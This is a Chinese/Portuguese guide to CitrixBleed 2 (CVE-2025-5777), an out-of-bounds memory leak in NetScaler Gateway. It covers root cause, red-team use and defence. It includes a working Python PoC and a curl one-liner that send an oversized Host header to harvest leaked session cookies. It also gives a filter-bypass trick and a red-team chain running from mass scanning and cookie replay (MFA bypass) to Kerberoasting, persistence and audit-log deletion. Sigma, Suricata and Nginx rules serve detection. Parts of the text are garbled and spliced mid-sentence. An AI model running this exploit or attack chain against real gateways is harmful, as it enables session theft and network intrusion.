
详细讲解CitrixBleed 2 — CVE-2025-5777(越界泄漏)PoC 和检测套件
Uma Leitura Fora dos Limites de Memória no NetScaler ADC / Gateway — Um guia completo desde a causa até o ataque e defesa
0x00 Introdução / Visão Geral
0x01 Antecedentes: Arquitetura do NetScaler e Revisão do CitrixBleed 1
0x02 Descrição da Vulnerabilidade (Versões Afetadas, CVSS, Consequências)
0x03 Análise Profunda do Mecanismo de Disparo (Análise em Nível de Código & Capturas de Depuração)
0x04 PoC Mínimo + Script de Escaneamento Avançado
0x05 Perspectiva da Equipe Vermelha: Cadeia de Ataque Completa (Descoberta → Vazamento → Sequestro de Sessão → Movimentação Lateral)
0x06 Perspectiva da Equipe Azul: Detecção, Forense e Verificação de Patches
0x07 Reforço de Defesa: Patches, WAF, Configuração, Gestão de Ativos
0x08 Roteiro de Aprendizagem / Revisão e Experimentos Práticos
Apêndice A Regras Sigma / Suricata / Nginx-Lua
Apêndice B Linha do Tempo de Patches/Exploração & Instantâneos de IoC
Referências
Host excessivamente longo para fazer o dispositivo "cuspir" blocos de memória aleatória junto com a resposta HTTP para o cliente.NSC_USER / NSC_TASS Cookie, SAML StateContext, token MFA, que podem ser reutilizados diretamente para realizar sequestro de sessão e bypass de MFA (arcticwolf.com, tenable.com).┌──────────────┐
│ Client │ ① HTTPS
└──────┬───────┘
│
┌──────▼───────┐
│ NetScaler │ ② AAA / Gateway 认证
│ (WebProc) │
└──────┬───────┘
│
┌──────▼───────┐
│ ICA Proxy / │ ③ 正向到应用
│ CVPN / RDP │
└──────────────┘
O NetScaler adota um design multiprocesso + IPC interno. O WebProc é responsável pela maioria das requisições HTTP nos caminhos AAA/Gateway, incluindo /nf/auth/*, /oauth/*, etc. Ele faz uso extensivo de snprintf() / memcpy() em linguagem C para montar fragmentos XML/HTML a cada vez.
/oauth/idp/.well-known/openid-configuration.snprintf como parâmetro len para o subsequente send() → eco de memória fora dos limites.Lição Aprendida: Se os patches de segurança visarem apenas o "ponto de impacto" em vez do "paradigma de programação", deixarão espaço para "reprodução padronizada".
Esta seção é baseada em engenharia reversa do firmware 13.1-55.18 + depuração com gdb, compilada a partir de blogs públicos (bishopfox.com).
/nf/auth/startwebview.doHost<AuthenticateResponse>
<wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
...
</AuthenticateResponse>
citrix_webview_handler()
├─ build_auth_xml()
│ ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
│ └─ return length; // ⚠️ length 可 > 0x1800
└─ ns_vpn_send_response(conn, 0x980200, buf, length);
Ponto do Bug:
snprintfretorna o "comprimento que deveria ter escrito" em vez do comprimento real escrito; se oHostfornecido pelo usuário for > 0x1800 - comprimento da parte constante, entãolength>sizeof(buf).
buf: [-----XML-----][OOB][OOB][OOB]...... <- 0x1800 bytes limit
↑
被 ns_vpn_send_response 一并发出
GDB 断点演示(关键寄存器):
RDI (dst) = 0x7fffa2e31800 // buf
RSI (len) = 0x00001e42 // length=7746 (>6144)
read() mostra que os últimos 1600 bytes vêm de memória não inicializada, onde são visíveis buffers de Cookie de outras sessões SSL.
| Categoria | Exemplo (Anonimizado) |
|---|---|
| Cookie de Sessão | Set-Cookie: NSC_USER=john.doe;NSC_TASS=abc123... |
| Token MFA/OTP | radius_state=0e2a9c6d1553... |
| Outros Corpos de Requisição | <username>audituser</username><password>***</password> |
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()
if len(sys.argv) != 2:
exit(f"Usage: {sys.argv[0]} https://NSVIP")
url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000} # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)
print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print(" Cookie leak ->", h.decode())
open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
Cookie=, <AuthenticateContext> em leak.bin.curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
https://NSVIP/nf/auth/startwebview.do -o leak.bin
Contorno: Alguns dispositivos têm limitação de comprimento do
Hostem F5/Nginx intermediários; pode-se contornar usando concatenação de múltiplos subdomínios, comofoo.foo.foo.…foo.example.com(repetindofoo3000 vezes).
Caso real: ReliaQuest observou em um gateway de cliente "grande quantidade de requisições com cabeçalho Host de 6 KB+ em curto período → seguidas por sessões roubadas" (reliaquest.com).
| Fonte | Manifestação |
|---|---|
| /var/log/ns.log | AAA_TRANSACTION <client_ip> - Host header length: 6144 |
title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
category: webserver
product: netscaler
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
cs-bytes|gt: 2048
c-host|strlen|gt: 4096
condition: selection
level: critical
nscli -s 127.0.0.1:3008 \
-c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
&& echo "Patched ✅" || echo "Vulnerable ❌"
# 清除全部活动 VPN/ICA 连接
kill icaconnection -all
kill vpn -all
Nota: Após aplicar o patch, ainda é necessário forçar o logout para impedir que atacantes continuem usando cookies roubados.
map $http_host $block_long_host {
default 0;
"~^.{4097,}$" 1;
}
server {
...
if ($block_long_host) { return 413; }
}
/nf/auth/ & /oauth/ (ex.: 20 req/min).title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
product: netscaler
service: http_access
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
c-host|strlen|gt: 4096
condition: selection
level: critical
alert http any any -> any any (
msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
http.uri; content:"/nf/auth/startwebview.do"; nocase;
http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
classtype:attempted-recon;
sid:5777002; rev:1;
)
-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
ngx.log(ngx.WARN,"[CitrixBleed2] Blocked Host len=",#host)
return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end
Fim — Espero que este documento ajude você a entender e lidar com o CitrixBleed 2 de forma abrangente. Se precisar de mais exemplos, scripts ou orientações de exercícios, fique à vontade para solicitar!
| Campo | Conteúdo |
|---|
| CVE | CVE-2025-5777 |
| Alias | CitrixBleed 2 |
| Tipo de Vulnerabilidade | Leitura Fora dos Limites / Vazamento de Informações |
| Base CVSS v4 | 9.3 (Crítica) (netscaler.com) |
| Versões Afetadas | < 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS (netscaler.com) |
| Condições de Exploração | NetScaler configurado como Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) ou servidor virtual AAA (arcticwolf.com) |
| Consequências | Vazamento de memória → Tokens de sessão → Bypass de autenticação / Bypass de MFA → Movimentação lateral |
| Etapa | Objetivo & Técnica |
|---|
| ① Descoberta de Ativos | zoomeye search "http.title:\"NetScaler Gateway\"" + Shodan, etc.; filtrar set-cookie: NSC_ |
| ② Vazamento PoC | Scripts em lote com requisições paralelas; capturar NSC_USER= ; NSC_TASS= |
| ③ Replay de Cookie | Chrome DevTools→Application→Cookies→Adicionar entradas, recarregar /vpn/index.html |
| ④ Recursos Internos | Acessar storeweb/#home para obter arquivos RDP; baixar .ica para logar diretamente no VDI |
| ⑤ Escalação de Privilégios | Pulverização de credenciais internas, Kerberoast, ADCS ESC1; ou explorar senhas fracas SMB na mesma rede |
| ⑥ Persistência | Criar Scheduled Task; registrar script de inicialização; ou modificar vDisk do NetScaler (altos privilégios requerem negligência de operação) |
| ⑦ Limpeza de Rastros | Cookie descartável; excluir logs de auditoria (se tiver root do NS); ou usar race condition do logrotate para sobrescrever |
| HTTP_ACCESS.log | Requisição a /nf/auth/startwebview.do com tempo de resposta muito curto mas tamanho de resposta anormal (> 2 KB) |
| EDR/PCAP | Set-Cookie: NSC_USER= aparece em respostas de requisições não relacionadas a login |
| Fase | Materiais & Ações Sugeridas |
|---|
| Teoria | Ler os boletins de segurança da Citrix, FAQ da Arctic Wolf / Tenable, análise técnica da Bishop Fox (arcticwolf.com, tenable.com, bishopfox.com) |
| Laboratório | Implantar a versão vulnerável 13.1-55.18 (ESXi / KVM), executar o PoC mínimo, capturar pacotes com Wireshark → observar os pacotes de resposta TCP PSH |
| Codificação | Modificar o PoC: adicionar replay automático de cookies, varredura em lote ZTLS, fila multithread |
| Equipe Azul | Pesquisar comprimento anormal de Host em janelas de duas horas; usar Sigma → Elastic/Graylog; reproduzir e validar estratégias WAF |
| Compartilhamento | Escrever blog ou criar mapa mental, resumindo "armadilhas comuns no uso de snprintf" |
| Data (2025) | Evento |
|---|
| 06-17 | Citrix publica comunicado inicial do CVE-2025-5777 (netscaler.com) |
| 06-18 | Bishop Fox publica análise técnica & PoC (bishopfox.com) |
| 06-23 | Citrix atualiza escopo de impacto + versões de patch; CISA adiciona ao KEV |
| 06-25 | ReliaQuest relata exploração ativa, grupos de ameaça roubando sessões em massa (reliaquest.com) |
| 06-27 | BleepingComputer reporta "possivelmente explorado em larga escala" (bleepingcomputer.com) |
| 06-28 | Vários PoCs no GitHub; Tenable publica FAQ (tenable.com) |